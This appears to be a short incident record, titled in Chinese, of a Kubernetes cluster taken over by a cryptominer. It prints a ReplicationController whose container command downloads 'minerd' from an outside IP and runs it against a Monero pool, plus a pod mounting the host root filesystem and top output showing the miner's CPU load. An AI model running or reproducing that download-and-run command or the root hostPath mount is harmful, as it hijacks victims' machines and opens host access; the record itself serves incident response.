k8s被minerd入侵处理

[root@ALY-BJB-GRA-002 /]# kubectl get rc mysql2 -o yaml
apiVersion: v1
kind: ReplicationController
metadata:
  creationTimestamp: 2017-07-28T07:58:26Z
  generation: 1
  labels:
    app: mysql2
  name: mysql2
  namespace: default
  resourceVersion: "4908452"
  selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2
  uid: 89773935-736a-11e7-8ba6-00163e0c0eab
spec:
  replicas: 5
  selector:
    app: mysql2
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: mysql2
    spec:
      containers:
      - command:
        - sh
        - -c
        - curl -L http://98.142.140.13:8220/minerd -o minerd;chmod 777 minerd && setsid
          ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u
          [email protected] -p x
        image: centos
        imagePullPolicy: Always
        name: mysql2
        resources: {}
        terminationMessagePath: /dev/termination-log
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      securityContext: {}
      terminationGracePeriodSeconds: 30
      volumes:
      - emptyDir: {}
        name: shared-data
status:
  fullyLabeledReplicas: 5
  observedGeneration: 1
  replicas: 5

[root@ALY-BJB-GRA-002 /]# kubectl get pod myapp5 -o yaml
apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: 2017-07-28T07:58:26Z
  name: myapp5
  namespace: default
  resourceVersion: "5043763"
  selfLink: /api/v1/namespaces/default/pods/myapp5
  uid: 8955f1b4-736a-11e7-8ba6-00163e0c0eab
spec:
  containers:
  - image: nginx
    imagePullPolicy: Always
    name: test-container
    resources: {}
    terminationMessagePath: /dev/termination-log
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  dnsPolicy: ClusterFirst
  nodeName: aly-bjb-gra-002
  restartPolicy: Always
  securityContext: {}
  terminationGracePeriodSeconds: 30
  volumes:
  - hostPath:
      path: /
    name: test-volume
status:
  conditions:
  - lastProbeTime: null
    lastTransitionTime: 2017-07-28T07:58:26Z
    status: "True"
    type: Initialized
  - lastProbeTime: null
    lastTransitionTime: 2017-07-28T11:36:20Z
    message: 'containers with unready status: [test-container]'
    reason: ContainersNotReady
    status: "False"
    type: Ready
  - lastProbeTime: null
    lastTransitionTime: 2017-07-28T07:58:26Z
    status: "True"
    type: PodScheduled
  containerStatuses:
  - image: nginx
    imageID: ""
    lastState: {}
    name: test-container
    ready: false
    restartCount: 0
    state:
      waiting:
        message: 'runContainer: Error response from daemon: {"message":"devmapper:
          Error activating devmapper device for ''7b51f71963d7b2f8dcb085e49d81a1d9662f63ae75098158885c294648ea95d2-init'':
          devicemapper: Can''t set cookie dm_task_set_cookie failed"}'
        reason: RunContainerError
  hostIP: 10.45.151.4
  phase: Pending
  podIP: 172.30.4.17
  startTime: 2017-07-28T07:58:26Z

top - 10:32:38 up 220 days, 14:21,  3 users,  load average: 2.95, 3.13, 3.10
Tasks: 307 total,   1 running, 306 sleeping,   0 stopped,   0 zombie
%Cpu(s): 75.3 us,  2.7 sy,  0.0 ni, 21.6 id,  0.0 wa,  0.0 hi,  0.2 si,  0.2 st
KiB Mem :  7747772 total,   426324 free,  1886064 used,  5435384 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  5491784 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
13195 root      20   0  385300   7552   1212 S 295.7  0.1  89640:53 minerd